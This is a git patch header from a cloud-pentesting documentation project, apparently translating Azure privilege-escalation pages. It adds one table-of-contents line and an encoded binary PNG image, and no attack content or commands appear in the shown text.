From a021d3ecfb607c58862d7c3d0267afa18dd91c45 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 May 2025 11:19:36 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- src/SUMMARY.md | 1 + src/images/lasttower.png | Bin 0 -> 70062 bytes .../az-app-services-privesc.md | 314 ++++---- .../az-services/az-app-services.md | 67 +- .../az-services/az-function-apps.md | 96 ++- theme/elasticlunr.min.js | 10 + theme/ht_searcher.js | 720 ++++-------------- 7 files changed, 421 insertions(+), 787 deletions(-) create mode 100644 src/images/lasttower.png create mode 100644 theme/elasticlunr.min.js diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a470914ae..17225a2e2 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -425,6 +425,7 @@ - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) - [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md) - [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md) + - [Az - Misc](pentesting-cloud/azure-security/az-services/az-misc.md) - [Az - Monitoring](pentesting-cloud/azure-security/az-services/az-monitoring.md) - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md) - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md) diff --git a/src/images/lasttower.png b/src/images/lasttower.png new file mode 100644 index 0000000000000000000000000000000000000000..61b1978109dbbef3f13164aef900d6ec39a0206c GIT binary patch literal 70062 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 